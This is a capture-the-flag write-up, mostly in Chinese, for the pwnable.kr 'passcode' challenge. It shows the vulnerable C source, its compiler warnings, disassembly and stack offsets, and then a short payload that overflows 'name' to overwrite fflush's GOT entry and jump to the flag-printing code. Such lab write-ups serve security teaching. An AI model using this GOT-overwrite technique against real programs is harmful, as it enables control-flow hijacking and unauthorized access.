Pwnable.kr

password&延迟绑定

#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
chen@ubuntu:~$ gcc -g -m32  -o passcode passcode.c
passcode.c: In function ‘login’:
passcode.c:9:8: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
scanf("%d", passcode1);
^
passcode.c:14:15: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
scanf("%d", passcode2);
^
在源码的scanf(),name和passcode1处下断点
EBP: 0xffffd068 --> 0xffffd078 --> 0x0

可以向某个地址写入,scanf(“%d”,passcode);

080486b5 <main>:
...
80486d6:    e8 7d ff ff ff           call   8048658 <welcome>
 80486db:    e8 bb fe ff ff           call   804859b <login>
...
 char name[100]; // [esp+8h] [ebp-70h]
int passcode1; // [esp+8h] [ebp-10h]
int passcode2; // [esp+Ch] [ebp-Ch]
.got.plt:0804A010 off_804A010     dd offset fflush        ; DATA XREF: _fflush↑r

两函数相邻,共用一个ebp,所以name距离passcode为0x60,而name限制输入100个,恰好多4字节覆盖passcode1,而passcode1是地址,scanf将输入的数写如某个地址,地址可控,找到某一个函数的GOT表,进行覆写,覆写passcode为0x0804A010之后再输入时,在向GOT中写入目标函数地址

stack—addr-->0x0804A010-->目标函数地址
0x0804A10通过scanf("%100s",name)修改,目标地址通过scanf("%d",passcode1)修改
</hr>
payload='a'*0x60+p32(0x0804A010)
payload1=str(134514202) #Login OK的代码段地址

本地是没有flag的